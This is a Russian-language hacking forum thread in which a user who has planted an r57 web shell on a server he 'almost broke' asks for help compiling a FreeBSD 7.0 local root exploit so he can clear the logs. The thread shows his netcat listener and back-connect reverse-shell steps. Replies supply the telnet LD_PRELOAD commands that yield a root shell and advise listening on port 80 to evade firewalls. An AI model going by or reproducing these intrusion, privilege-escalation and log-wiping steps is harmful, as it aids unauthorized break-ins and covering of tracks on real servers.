![]() |
Компиляция сплойта под FreeBSD (7.0-RELEASE)
Всем прив.
Есть сервак который я почти сломал, не хватает только прав root. OC: FreeBSD 7.0-RELEASE Нашел, сплоит по неё: http://milw0rm.com/exploits/8055, но его не получается скомпилировать. На серве валяется шелл r57. И так мои действия по компиляции(В C# не силён :(): 1) Берём r57 шелл, залитый на сервер 2) Качаем NetCat и запускаем (nc -l -p 11457) 3) В r57 шелле нажимаем BackConnet (в настройках ничего не меняем) 4) Загружаем через шелл нужные сплойты (текстовый документ вида: ttt.c) 5) В консоли вбиваем( если я не ошибаюсь, в какой-то статье давно видел): gcc ttt.c -o ttt и запускаем ./ttt У меня же всё обламывается на 5 шаге, при компиляции в консоли выдаётся куча еррор'ов. Подскажите, почему не компилится сплоит, буду очень благодарен, т.к. надо срочно.(логи почистить). p.s. Если бы был силён в Си, то не просил бы помочь. |
1) уверен что ты тупо скопировал весё с милворма :) смотри внимательней где код, а где описание
2) могут отсутствовать библиотеки, прочитай вообще для чего сплойт :\ 3) Цитата:
|
какие эроры?
кинь лог |
Все нормально компилится, только что проверил.
PS: cp libno_ex.so.1.0 /tmp/libno_ex.so.1.0 ---snip----- #telnet >auth disable SRA >environ define LD_PRELOAD /tmp/libno_ex.so.1.0 >open target ---snip----- ALEX-ALEX #ROOTSHELL |
Помогите.
Вообщем пытаюсь поднять права на одном серваке. Пытаюсь заюзать бек конект. Прописываю nc -l -p 11457 , на r57 жму бэк конект ,шелл выдаёт : Now script try connect to 85.xxx.xxx.xxx port 11457 ... Но в cmd.exe ничего не появляется. В чём может быть проблема? |
На сервере может стоять фаерволл, открывай у себя 80й порт, больше шансов, что такое соединение будет разрешено. Надеюсь у тебя инет без NAT'а?
|
во-первых лучше
Код:
nc -l -n -v -p 11457Код:
nc -l -n -v -p 80вот еще по теме можешь почитать: http://forum.antichat.ru/showthread.php?p=162986 |
BlackSun, laedafess . Спасибо большое, быстренько ответили.
Цитата:
|
| Время: 07:47 |